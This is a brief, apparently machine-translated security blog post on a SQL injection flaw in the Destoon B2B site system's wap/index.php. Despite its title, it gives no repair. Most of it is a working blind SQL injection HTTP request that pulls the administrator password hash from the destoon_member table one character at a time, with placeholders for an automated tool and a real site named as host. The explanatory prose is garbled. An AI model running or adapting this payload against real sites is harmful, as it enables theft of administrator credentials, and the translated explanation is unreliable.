Destoon B2B website management system wap/index. php SQL injection vulnerability and repair

I don't know if it's 0-day. It's a violent vulnerability at the end of last year. Perform the following tests only:

Note that [% pos %] is a number [% cmp %] Which is a hexadecimal character (I am working with my tool ). It is determined that the return result has been completed. If it is true, the return result is different when the return value is not equal to the return value.

 

GET/wap/index. php? Moduleid = 5 & kw = DHA % 2525% 2527% 09and % 09 ascii (substring (SELECT % 09 password % 09 FROM % 09destoon_member % 09 WHERE % 09 userid = 1 ), % pos %, 1) = 0x % cmp % 23http/1.1
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/vnd. ms-excel, application/vnd. ms-powerpoint, application/msword, application/xaml + xml, application/vnd. ms-xpsdocument, application/x-ms-xbap, application/x-ms-application ,*/*
Accept-Language: zh-cn
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0;. net clr 1.1.4322;. net clr 2.0.50727;. net clr 3.0.04506.30)
Accept-Encoding: gzip, deflate
Host: www.2cto.com
Connection: Keep-Alive

 

From hi.baidu.com/it_security